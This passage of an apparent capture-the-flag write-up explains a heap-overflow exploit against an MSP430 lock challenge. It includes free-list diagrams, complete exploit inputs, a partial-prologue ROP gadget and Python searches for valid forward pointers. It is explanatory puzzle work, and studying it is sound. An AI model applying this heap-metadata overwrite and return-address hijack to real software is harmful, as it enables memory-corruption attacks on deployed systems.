│ ┌────────┬────────┬────────┐
└─┤ 503c │ 50fc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 509c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #2 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 509c │ 00b4 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 503c │ 50fc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 509c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #2 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 50fc │ 00b4 │
└────────┴────────┴────────┘
▲
│ ┌────────────────────┐
│ │UPDATE PREV CHUNK FD│
│ └────────────────────┘
┌────────┬────────┬────────┐ ┌────────────────┐
│ 503c │ 50fc │ 00b4 │◄─┤UNSET IN-USE BIT│
└────────┴────────┴────────┘ └────────────────┘
│ ┌────────────────────┐
│ │UPDATE NEXT CHUNK BK│
│ └────────────────────┘
▼
┌────────┬────────┬────────┐
│ 503c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #2 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │ ┌───────────────────────────────────┐
│ │ │ ADD SIZES │
│ ┌───────────┘ └───────────────────────────────────┘
│ ▼
│ ┌────────┬────────┬────────┐ ┌────────┐ ┌────────┐
└─┤ 5026 │ 50fc │ 00b4 │ += │ 0006 │ + │ 00b4 │
└────────┴────────┴────────┘ └────────┘ └────────┘
▲ ▲ ▲ ▲
└────┬────────┬──────┬─────┘ │ │
│ LENGTH │ 0006 │ │ │
└────────┴──────┘ ────────────┘ │
│
┌────────┬────────┬────────┐ │
│ 503c │ 50fc │ 00b4 │ ───────────────────┘
└────────┴────────┴────────┘
┌────────┬────────┬────────┐
│ 503c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #2 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 50fc │ 016e │
└────────┴────────┴────────┘
▲ ▲ ▲ ▲
│ │ │ │
│ │ │ │
├────────┴────────┴────────┤
│ │
│ CHUNK │
│ MERGE │
│ │
└──────────────────────────┘
▲ ▲ ▲ ▲
│ │ │ │
│ │ │ │
┌────────┬────────┬────────┐
│ 503c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #3 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 50fc │ 016e │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 503c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #3 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 515c │ 016e │
└────────┴────────┴────────┘
▲
│ ┌────────────────────┐
│ │UPDATE PREV CHUNK FD│
│ └────────────────────┘
┌────────┬────────┬────────┐ ┌────────────────┐
│ 503c │ 515c │ 00b4 │◄─┤UNSET IN-USE BIT│
└────────┴────────┴────────┘ └────────────────┘
│ ┌────────────────────┐
│ │UPDATE NEXT CHUNK BK│
│ └────────────────────┘
▼
┌────────┬────────┬────────┐
│ 503c │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #3 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │ ┌───────────────────────────────────┐
│ │ │ ADD SIZES │
│ ┌───────────┘ └───────────────────────────────────┘
│ ▼
│ ┌────────┬────────┬────────┐ ┌────────┐ ┌────────┐
└─┤ 5026 │ 515c │ 016e │ += │ 0006 │ + │ 00b4 │
└────────┴────────┴────────┘ └────────┘ └────────┘
▲ ▲ ▲ ▲
└────┬────────┬──────┬─────┘ │ │
│ LENGTH │ 0006 │ │ │
└────────┴──────┘ ────────────┘ │
│
┌────────┬────────┬────────┐ │
│ 503c │ 515c │ 00b4 │ ───────────────────┘
└────────┴────────┴────────┘
┌────────┬────────┬────────┐
│ 503c │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #3 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 515c │ 0228 │
└────────┴────────┴────────┘
▲ ▲ ▲ ▲
│ │ │ │
│ │ │ │
├────────┴────────┴────────┤
│ │
│ CHUNK │
│ MERGE │
│ │
└──────────────────────────┘
▲ ▲ ▲ ▲
│ │ │ │
│ │ │ │
┌────────┬────────┬────────┐
│ 503c │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #4 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 515c │ 0228 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 503c │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #4 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 51bc │ 0228 │
└────────┴────────┴────────┘
▲
│ ┌────────────────────┐
│ │UPDATE PREV CHUNK FD│
│ └────────────────────┘
┌────────┬────────┬────────┐ ┌────────────────┐
│ 503c │ 51bc │ 00b4 │◄─┤UNSET IN-USE BIT│
└────────┴────────┴────────┘ └────────────────┘
│ ┌────────────────────┐
│ │UPDATE NEXT CHUNK BK│
│ └────────────────────┘
▼
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #4 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │ ┌───────────────────────────────────┐
│ │ │ ADD SIZES │
│ ┌───────────┘ └───────────────────────────────────┘
│ ▼
│ ┌────────┬────────┬────────┐ ┌────────┐ ┌────────┐
└─┤ 5026 │ 51bc │ 0228 │ += │ 0006 │ + │ 00b4 │
└────────┴────────┴────────┘ └────────┘ └────────┘
▲ ▲ ▲ ▲
└────┬────────┬──────┬─────┘ │ │
│ LENGTH │ 0006 │ │ │
└────────┴──────┘ ────────────┘ │
│
┌────────┬────────┬────────┐ │
│ 503c │ 51bc │ 00b4 │ ───────────────────┘
└────────┴────────┴────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #4 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 51bc │ 02e2 │
└────────┴────────┴────────┘
▲ ▲ ▲ ▲
│ │ │ │
│ │ │ │
├────────┴────────┴────────┤
│ │
│ CHUNK │
│ MERGE │
│ │
└──────────────────────────┘
▲ ▲ ▲ ▲
│ │ │ │
│ │ │ │
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐
│ HEAP │
├────────┬────────┬────────┤
│ BK │ FD │ SIZE │
└────────┴────────┴────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 51bc │ 02e2 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
These actions are constituent steps in the part of the free algorithm that consolidates adjacent free chunks. Notice how it adds the cumulative sizes to the size field in the chunk just before the overflowed one.
┌───────────────────────────────┬───────────────────────────────┐
│ BEFORE FREE #1 │ AFTER FREE #4 │
└───────────────────────────────┼───────────────────────────────┘
│
┌──────────────────────────┐ │ ┌──────────────────────────┐
│ HEAP │ │ │ HEAP │
├────────┬────────┬────────┤ │ ├────────┬────────┬────────┤
│ BK │ FD │ SIZE │ │ │ BK │ FD │ SIZE │
└────────┴────────┴────────┘ │ └────────┴────────┴────────┘
│
┌────────┬────────┬────────┐ │ ┌────────┬────────┬────────┐
│ .... │ .... │ .... │ │ │ .... │ .... │ .... │
└────────┴─────┬──┴────────┘ │ └────────┴─────┬──┴────────┘
▲ │ │ ▲ │
┌────┘ │ │ ┌────┘ │
│ │ │ │ │
│ ┌───────────┘ │ │ ┌───────────┘
│ ▼ │ │ ▼
│ ┌────────┬────────┬────────┐ │ │ ┌────────┬────────┬────────┐
└─┤ 5026 │ 509c │ 00b5 │ │ └─┤ 5026 │ 51bc │ 02e2 │
└────────┴─────┬──┴────────┘ │ └────────┴─────┬──┴────────┘
▲ │ │ ▲ │
┌────┘ │ │ ┌────┘ │
│ │ │ │ │
│ ┌───────────┘ │ │ ┌───────────┘
│ ▼ │ │ ▼
│ ┌────────┬────────┬────────┐ │ │ ┌────────┬────────┬────────┐
└─┤ 503c │ 50fc │ 00b5 │ │ └─┤ .... │ .... │ .... │
└────────┴─────┬──┴────────┘ │ └────────┴────────┴────────┘
▲ │ │
┌────┘ │ │
│ │ │
│ ┌───────────┘ │
│ ▼ │
│ ┌────────┬────────┬────────┐ │
└─┤ 509c │ 515c │ 00b5 │ │
└────────┴─────┬──┴────────┘ │
▲ │ │
┌────┘ │ │
│ │ │
│ ┌───────────┘ │
│ ▼ │
│ ┌────────┬────────┬────────┐ │
└─┤ 50fc │ 51bc │ 00b5 │ │
└────────┴─────┬──┴────────┘ │
▲ │ │
┌────┘ │ │
│ │ │
│ ┌───────────┘ │
│ ▼ │
│ ┌────────┬────────┬────────┐ │
└─┤ .... │ .... │ .... │ │
└────────┴────────┴────────┘ │
Corrupting the back pointer and aiming it at a stack location near a return address can be represented as follows.
┌──────────────────────────┐ ┌──────────────────────────┐
│ STACK │ │ HEAP │
├────────┬────────┬────────┤ ├────────┬────────┬────────┤
│ "BK" │ "FD" │ "SIZE" │ │ BK │ FD │ SIZE │
└────────┴────────┴────────┘ └────────┴────────┴────────┘
┌────────┬────────┬────────┐ ┌────────┬────────┬────────┐
│ 0000 │ 3e4a │ 4cbc │ │ .... │ .... │ .... │
└────────┴────────┴────────┘ └────────┴─────┬──┴────────┘
▲ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┐
│ └─┤ 5026 │ 509c │ 00b5 │
│ └────────┴─────┬──┴────────┘
│ │
│ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└────────────────────────────────┤ 3de6 │ 50fc │ 0013 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 509c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
The stack location is technically just another chunk resident in the linked list—although it is only single-linked rather than double-linked.
┌──────────────────────────┐
│ HEAP │
├────────┬────────┬────────┤
│ BK │ FD │ SIZE │
└────────┴────────┴────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 509c │ 00b5 │
└────────┴─────┬──┴────────┘
│
│
│
└─────────────┐
│
┌────────────┬─►┌────────┬────────┬────────┐ │
│STACK MEMORY│ │ 0000 │ 3e4a │ 4cbc │ │
└────────────┴─►└────────┴────────┴────────┘ │
▲ │
┌────┘ │
│ │
│ ┌─────────────────────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 3de6 │ 50fc │ 0013 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 509c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
From the perspective of the free algorithm, the chunk "before the overflowed one" is now on the stack (denoted by "S" below). Such an arrangement means the algorithm interprets that stack location as the chunk with which all "adjacent" free chunks should consolidate. This process repeatedly updates the "size" field overlapping the return address, breaking the exploit.
┌───────────────────────────────┬───────────────────────────────┐
│ BEFORE FREE #1 │ AFTER FREE #4 │
└───────────────────────────────┼───────────────────────────────┘
│
┌──────────────────────────┐ │ ┌──────────────────────────┐
│ HEAP │ │ │ HEAP │
├────────┬────────┬────────┤ │ ├────────┬────────┬────────┤
│ BK │ FD │ SIZE │ │ │ BK │ FD │ SIZE │
└────────┴────────┴────────┘ │ └────────┴────────┴────────┘
│
┌────────┬────────┬────────┐ │ ┌────────┬────────┬────────┐
│ .... │ .... │ .... │ │ │ .... │ .... │ .... │
└────────┴─────┬──┴────────┘ │ └────────┴─────┬──┴────────┘
▲ │ │ ▲ │
┌────┘ │ │ ┌────┘ │
│ │ │ │ │
│ ┌───────────┘ │ │ ┌───────────┘
│ ▼ │ │ ▼
│ ┌────────┬────────┬────────┐ │ │ ┌────────┬────────┬────────┐
└─┤ 5026 │ 509c │ 00b5 │ │ └─┤ 5026 │ 509c │ 00b5 │
└────────┴─────┬──┴────────┘ │ └────────┴─────┬──┴────────┘
│ │ │
│ │ │
│ │ │
└─────────────┐ │ └─────────────┐
│ │ │
┌─┬────────┬────────┬────────┐ │ │ ┌─┬────────┬────────┬────────┐ │
│S│ 0000 │ 3e4a │ 4cbc │ │ │ │S│ 0000 │ 51bc │ 4e48 │ │
└─┴────────┴────────┴────────┘ │ │ └─┴────────┴────────┴────────┘ │
▲ │ │ ▲ │
┌────┘ │ │ ┌────┘ │
│ │ │ │ │
│ ┌─────────────────────────┘ │ │ ┌─────────────────────────┘
│ ▼ │ │ ▼
│ ┌────────┬────────┬────────┐ │ │ ┌────────┬────────┬────────┐
└─┤ 3de6 │ 50fc │ 0013 │ │ └─┤ .... │ .... │ .... │
└────────┴─────┬──┴────────┘ │ └────────┴────────┴────────┘
▲ │ │
┌────┘ │ │
│ │ │
│ ┌───────────┘ │
│ ▼ │
│ ┌────────┬────────┬────────┐ │
└─┤ 509c │ 515c │ 00b5 │ │
└────────┴─────┬──┴────────┘ │
▲ │ │
┌────┘ │ │
│ │ │
│ ┌───────────┘ │
│ ▼ │
│ ┌────────┬────────┬────────┐ │
└─┤ 50fc │ 51bc │ 00b5 │ │
└────────┴─────┬──┴────────┘ │
▲ │ │
┌────┘ │ │
│ │ │
│ ┌───────────┘ │
│ ▼ │
│ ┌────────┬────────┬────────┐ │
└─┤ .... │ .... │ .... │ │
└────────┴────────┴────────┘ │
The question is why this does not happen with the 61-byte exploit, which overwrites the same return address. Consider what happens when aiming the forward pointer two chunks ahead.
First, set a breakpoint at the start of the free function.
break freeSend the exploit.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63dfc5013
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
Continue execution until the start of free and modify the forward pointer via the following debugger command.
c; let 509e = 515cThis results in the following behavior.
┌───────────────────────────────┬───────────────────────────────┐
│ BEFORE FREE #1 │ AFTER FREE #4 │
└───────────────────────────────┼───────────────────────────────┘
│
┌──────────────────────────┐ │ ┌──────────────────────────┐
│ HEAP │ │ │ HEAP │
├────────┬────────┬────────┤ │ ├────────┬────────┬────────┤
│ BK │ FD │ SIZE │ │ │ BK │ FD │ SIZE │
└────────┴────────┴────────┘ │ └────────┴────────┴────────┘
│
┌────────┬────────┬────────┐ │ ┌────────┬────────┬────────┐
│ .... │ .... │ .... │ │ │ .... │ .... │ .... │
└────────┴─────┬──┴────────┘ │ └────────┴─────┬──┴────────┘
▲ │ │ ▲ │
┌────┘ │ │ ┌────┘ │
│ │ │ │ │
│ ┌───────────┘ │ │ ┌───────────┘
│ ▼ │ │ ▼
│ ┌────────┬────────┬────────┐ │ │ ┌────────┬────────┬────────┐
└─┤ 5026 │ 509c │ 00b4 │ │ └─┤ 5026 │ 509c │ 00b4 │
└────────┴─────┬──┴────────┘ │ └────────┴─────┬──┴────────┘
│ │ │
│ │ │
│ │ │
└─────────────┐ │ └─────────────┐
│ │ │
┌─┬────────┬────────┬────────┐ │ │ ┌─┬────────┬────────┬────────┐ │
│S│ 0000 │ 3e4a │ 4cbc │ │ │ │S│ 0000 │ 515c │ 4cd4 │ │
└─┴────────┴────────┴────────┘ │ │ └─┴────────┴────────┴────────┘ │
▲ │ │ ▲ │
┌────┘ │ │ ┌────┘ │
│ │ │ │ │
│ ┌─────────────────────────┘ │ │ ┌─────────────────────────┘
│ ▼ │ │ ▼
│ ┌────────┬────────┬────────┐ │ │ ┌────────┬────────┬────────┐
└─┤ 3de6 │ 515c │ 0013 │ │ └─┤ 3de6 │ 51bc │ 0186 │
└────────┴─────┬──┴────────┘ │ └────────┴─────┬──┴────────┘
▲ │ │ ▲ │
┌────┘ │ │ ┌────┘ │
│ │ │ │ │
│ └─────────────┐ │ │ ┌───────────┘
│ │ │ │ ▼
│ ┌────────┬────────┬────────┐ │ │ │ ┌────────┬────────┬────────┐
└─┤ 509c │ 515c │ 00b5 │ │ │ └─┤ .... │ .... │ .... │
└────────┴─────┬──┴────────┘ │ │ └────────┴────────┴────────┘
▲ │ │ │
┌────┘ ┌─────────┘ │ │
│ │ │ │
│ │ ┌─────────────────────┘ │
│ ▼ ▼ │
│ ┌────────┬────────┬────────┐ │
└─┤ 50fc │ 51bc │ 00b5 │ │
└────────┴─────┬──┴────────┘ │
▲ │ │
┌────┘ │ │
│ │ │
│ ┌───────────┘ │
│ ▼ │
│ ┌────────┬────────┬────────┐ │
└─┤ .... │ .... │ .... │ │
└────────┴────────┴────────┘ │
The new forward pointer effectively breaks the linked list in a way that causes the algorithm to write the sum of all freed chunk sizes to the size field in the overflowed chunk—rather than the "chunk" on the stack. Additional testing confirms that this works when skipping any number of chunks. Eliminating the bug can thus be accomplished by omitting 0x50fc from the list of forward pointers.
>>> fdlist = ["5c51", "bc51", "1c52", "7c52", "dc52", "3c53"]Partially Skipping Function Prologues
After this, the search for a suitable ROP gadget becomes increasingly constrained. None of the single POP gadgets hash to the correct bucket. The nearest location in memory with a viable alternative gadget is near the beginning of the putchar function.
4d04: 2183 decd sp
4d06: 0f12 push r15
4d08: 0312 push #0x0
4d0a: 814f 0400 mov r15, 0x4(sp)
4d0e: b012 ec4c call #0x4cec <INT>
4d12: 1f41 0400 mov 0x4(sp), r15
4d16: 3150 0600 add #0x6, sp
4d1a: 3041 ret
Returning here will skip the first instruction in the function and misalign the stack pointer by one word. The function will then make a harmless call to write a single character to the I/O console. When the interrupt call returns, putchar will increment the stack pointer and return. Because returning into the middle of the function earlier skipped the first push instruction during the function prologue, this causes it to pop an extra word off the stack and align the stack pointer with attacker-controlled data. The size field to accomplish this is as follows.
>>> rop_gadget_address = 0x4d06
>>> return_address = 0x4cbc
>>> hex((rop_gadget_address-return_address-6+1) & 0xffff)
'0x45'
The forward pointer search is as follows.
>>> for i in fdlist:
... overflow = b'e63d' + i.encode() + b'45'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
b'e63d1c5245'
b'e63d7c5245'
b'e63ddc5245'
Any of the above forward pointers will work, so the first is chosen arbitrarily.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d1c5245
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
This exploit successfully triggers the unlock interrupt.
>>> get_size("exploit.txt")
60Leaderboard Ranking
Shrinking the exploit to this length puts it in 4th place globally on the Chernobyl exploit size leaderboard.
| Position | Username | Exploit Size (Bytes) |
|---|---|---|
1st |
ThatsMe |
59 |
2nd |
Unknown |
60 |
3rd |
Unknown |
60 |
4th |
b9ek |
60 |
5th |
Unknown |
61 |
6th |
Unknown |
61 |
The exploit is now in a three-way tie for the second shortest input length.
Obligatory Cinema Reference
There are only about six people in the world who could set up fail-safes like this.
— Q, James Bond: Skyfall
Tying The World Record
Fifty-Nine Bytes
Eleven of twelve commands are as short as possible, and the overflow is absurdly constrained. Short of a miracle, manually shortening the exploit further is impossible.
Bootstrapping Miracles
Observe the heap memory before the overflow.
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
There is no null termination for the string that overflows the heap metadata, which makes it possible to overflow the back and forward pointers without corrupting the size.
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50 ............<P.P
50a0: b500 0000 0000 0000 0000 0000 0000 0000 ................
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
50c0: *
Eliminating the size field from the exploit means the algorithm will add the existing size (sans the least significant bit) to the return address.
>>> return_address = 0x4cbc
>>> existing_size = 0xb5
>>> hex(return_address+existing_size+6-1)
'0x4d76'
The code will then return here.
4d6a: 3012 0a00 push #0xa
4d6e: 0312 push #0x0
4d70: b012 ec4c call #0x4cec <INT>
4d74: 2152 add #0x4, sp
4d76: 0f43 clr r15
4d78: 3b41 pop r11
4d7a: 3041 ret
By sheer coincidence, this returns to a gadget that will pop one word off the stack and redirect execution to the attacker-controlled ROP chain. Given the arrangement of functions in the firmware image, the odds of this happening are extremely low—even without accounting for many potential side effects.
The issue is that there is not a suitable forward pointer available.
>>> fdlist = ["5c51", "bc51", "1c52", "7c52", "dc52", "3c53"]
>>> for i in fdlist:
... overflow = b'e63d' + i.encode() + b''
... if hash_username(overflow) % 8 == 0:
... print(overflow)
>>>
Forward Pointer Black Magic
Up to this point, it has been convenient to think of a valid forward pointer as one that points to any subsequent heap chunk. Recall how the algorithm works.
- The
mallocfunction traverses the linked list and allocates from the first free chunk it finds—usually the wilderness chunk. - During
rehash, thefreefunction is called iteratively on an array of pointers referencing in-use heap chunks.
The forward pointer does not affect the arbitrary write—the sole purpose of setting it to a specific value is to avoid the malloc heap exhaustion error. This issue is avoidable if malloc finds a large enough free chunk for allocation. The earlier solution to this problem is to ensure the algorithm eventually reaches the wilderness chunk, but nothing requires it to allocate from that specific free chunk.
The malloc code that vets each chunk looks something like this.
*(fd + 0x4) & 0x1 == 0 && *(fd + 0x4) >= size_to_be_allocated;What this means is that allocation will succeed as long the "size field" of the "next chunk" is large enough and even—even if the "next chunk" is random data at a memory location chosen by the attacker. The only constraint is that this data must be in higher memory than the current chunk. Consider the following structure, for example.
ff80: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ff90: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffa0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
ffb0: 4444 4444 4444 4444 4444 4444 4444 4444 DDDDDDDDDDDDDDDD
